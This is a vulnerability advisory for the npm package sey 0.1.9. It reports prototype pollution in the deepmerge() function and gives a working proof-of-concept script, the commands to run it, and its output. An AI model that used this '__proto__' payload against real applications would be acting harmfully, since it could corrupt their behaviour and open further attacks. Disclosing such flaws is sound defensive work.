sey@0.1.9 vulnerabilities

sey is a Simple JavaScript build tool with declarative and easy configuration

Affected versions of this package are vulnerable to Prototype Pollution via the deepmerge() function.

PoC

// Create the following PoC file:
// PoC.js
var deepmerge = require("sey/lib/utils/deepmerge.js")

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
deepmerge({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

// End of file

// Execute the following commands in the terminal:
npm i sey # Install affected module
node PoC.js # Run the PoC

// Check the Output:
"Before : undefined"
"After : Yes! Its Polluted"

There is no fixed version for sey.